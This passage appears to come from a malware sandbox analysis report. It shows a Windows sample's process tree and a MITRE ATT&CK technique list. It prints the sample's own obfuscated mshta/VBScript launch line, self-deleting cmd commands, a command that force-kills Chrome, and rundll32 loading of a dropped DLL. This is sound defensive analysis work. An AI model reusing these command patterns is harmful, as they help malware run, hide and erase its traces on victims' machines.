        Kills process with taskkill
        
        PID:3408
        
        C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        9⤵
        
        PID:3400
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        10⤵
        
        PID:3448
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        11⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        10⤵
        
        PID:2040
      - C:\ProgramData\5826997.exe
        
        "C:\ProgramData\5826997.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
      4⤵
      Loads dropped DLL
      PID:1104
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue112c483dd3245d.exe
        
        Tue112c483dd3245d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1828
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:2644
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Tue112c483dd3245d.exe /f
        7⤵
        Kills process with taskkill
        
        PID:596
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:3620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
      4⤵
      Loads dropped DLL
      PID:1788
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue118f55232e4.exe
        
        Tue118f55232e4.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1212
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:1736
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1768
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:340

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3084
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3096

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2788
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2572

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2748
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1CDBD496C28C170EAD5EF87699D959D0 C
  2⤵
  PID:3636

C:\Users\Admin\AppData\Local\Temp\B07B.exe
C:\Users\Admin\AppData\Local\Temp\B07B.exe
1⤵
PID:3308

C:\Users\Admin\AppData\Local\Temp\DE8D.exe
C:\Users\Admin\AppData\Local\Temp\DE8D.exe
1⤵
PID:2180

C:\Users\Admin\AppData\Local\Temp\2010.exe
C:\Users\Admin\AppData\Local\Temp\2010.exe
1⤵
PID:2400

C:\Users\Admin\AppData\Local\Temp\3EB8.exe
C:\Users\Admin\AppData\Local\Temp\3EB8.exe
1⤵
PID:2128

C:\Users\Admin\AppData\Local\Temp\6C7D.exe
C:\Users\Admin\AppData\Local\Temp\6C7D.exe
1⤵
PID:3584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery